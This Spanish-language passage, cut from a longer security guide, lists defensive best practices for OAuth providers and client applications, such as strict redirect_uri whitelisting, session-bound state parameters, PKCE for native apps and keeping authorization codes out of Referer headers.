. Incluso si tu implementación
es sólida
, todo depende de que la aplicación del otro extremo
sea igualmente robusta
. Esto significa que
Si eres el
la aplicación cliente
,el otro extremo
es elproveedor de OAuth/OpenID Connect como Google, Facebook o tu servicio interno)
Si eres el
proveedor (el servicio de autenticación)
,el otro extremo
es elcliente (la app que consume tu OAuth)
Para los proveedores de servicios OAuth
se deberían implementar estas medidas
Requerir que las
aplicaciones cliente
registren unawhitelist de redirect_uris válidos
y siempre que sea posible, utilizar unacomparación estricta byte por byte
paravalidar
laURI
en lassolicitudes entrantes
. También sería conveniente permitir solocoincidencias completas y exactas
en lugar de usarcoincidencias por patrones
, lo cualevitaría
que losatacantes accedan a otras páginas
en losdominios
de lawhitelist
Obligar el uso del
parámetro state
yvincular
suvalor
a lasesión del usuario
, incluyendo datosimpredecibles y específicos de la sesión
, como unhash que contenga la cookie de sesión
. Esto ayuda aproteger a los usuarios contra ataques similares a CSRF
. Además,dificulta significativamente
que unatacante
pueda utilizarcódigos de autorización robados
En el
servidor de recursos
, asegurarse deverificar
que eltoken de acceso
fueemitido
para el mismoclient_id
que realiza la solicitud yverificar
elscope solicitado
paraconfirmar
quecoincide
con elscope para el cual se emitió originalmente el token
Para aplicaciones cliente OAuth
se deberían implementar estas medidas
Comprender completamente cómo funciona OAuth antes de implementarlo
. Hay situaciones en las quesurgen vulnerabilidades
debido a undesconocimiento
de lo que ocurre en cadaetapa
y cómo podría serexplotado
Utilizar
elparámetro state
aunque no seaobligatorio
Enviar
el parámetroredirect_uri
no solo al endpoint/authorization
, sino también al endpoint/token
En
aplicaciones móviles o de escritorio nativas
a menudo no es posible mantener elclient_secret
ensecreto
. En estos casos, se puede usar el mecanismoPKCE (RFC 7636)
para añadirprotección
contra lainterceptación o filtración de códigos de acceso
Si usas el id_token de OpenID Connect
, valídalo correctamente según las especificaciones deJSON Web Signature (JWS)
,JSON Web Encryption (JWE)
yOpenID
Tener cuidado con los códigos de autorización
, ya que puedenfiltrarse
a través de cabecerasReferer
cuando secargan imágenes, scripts o CSS externos
. También es importanteno incluirlos en archivos JavaScript generados dinámicamente
, ya que podríanejecutarse desde dominios externos mediante etiquetas <script>